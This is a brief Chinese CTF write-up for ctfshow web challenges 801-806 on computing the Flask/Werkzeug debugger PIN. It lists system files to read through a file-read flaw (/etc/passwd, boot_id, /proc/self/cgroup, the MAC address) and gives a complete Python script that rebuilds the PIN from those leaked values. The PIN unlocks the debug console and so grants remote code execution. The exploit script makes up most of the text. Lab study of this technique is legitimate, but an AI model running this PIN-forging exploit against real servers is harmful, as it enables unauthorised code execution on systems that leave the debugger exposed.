flask PIN码的计算

谁家科创项目拉这了？

[ctfshow web入门]常用姿势801-806_ctfshow web入门801-CSDN博客
信息搜集
查看用户/etc/passwd
查看逻辑找到flask源代码
查看bootid /proc/sys/kernel/random/boot_id
查看另一串用户码/proc/self/cgroup
查看mac地址/sys/class/net/eth0/address

import hashlib  
import getpass  
from flask import Flask  
from itertools import chain  
import sys  
import uuid  
import typing as t  
username='root'  
app = Flask(__name__)  
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)  
mod=sys.modules.get(modname)  
mod = getattr(mod, "__file__", None)  
  
probably_public_bits = [  
    username, #用户名  
    modname,  #一般固定为flask.app  
    getattr(app, "__name__", app.__class__.__name__), #固定，一般为Flask  
    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序（app.py）运行的绝对路径  
]  
print(probably_public_bits)  
mac ='02:42:ac:11:00:04'.replace(':','')  
mac=str(int(mac,base=16))  
private_bits = [  
   mac,#mac地址十进制  
 "2be631bd-5d4a-4e05-bb0d-3dd390c186e454e2c173887ea2af93ddc91819f0b9766b42d184272006ac6605d85de075ee47"  
     ]  
print(private_bits)  
h = hashlib.sha1()  
for bit in chain(probably_public_bits, private_bits):  
    if not bit:  
        continue  
    if isinstance(bit, str):  
        bit = bit.encode("utf-8")  
    h.update(bit)  
h.update(b"cookiesalt")  
  
cookie_name = f"__wzd{h.hexdigest()[:20]}"  
  
# If we need to generate a pin we salt it a bit more so that we don't  
# end up with the same value and generate out 9 digits  
h.update(b"pinsalt")  
num = f"{int(h.hexdigest(), 16):09d}"[:9]  
  
# Format the pincode in groups of digits for easier remembering if  
# we don't have a result yet.  
rv=None  
if rv is None:  
    for group_size in 5, 4, 3:  
        if len(num) % group_size == 0:  
            rv = "-".join(  
                num[x : x + group_size].rjust(group_size, "0")  
                for x in range(0, len(num), group_size)  
            )  
            break  
    else:  
        rv = num  
  
print(rv)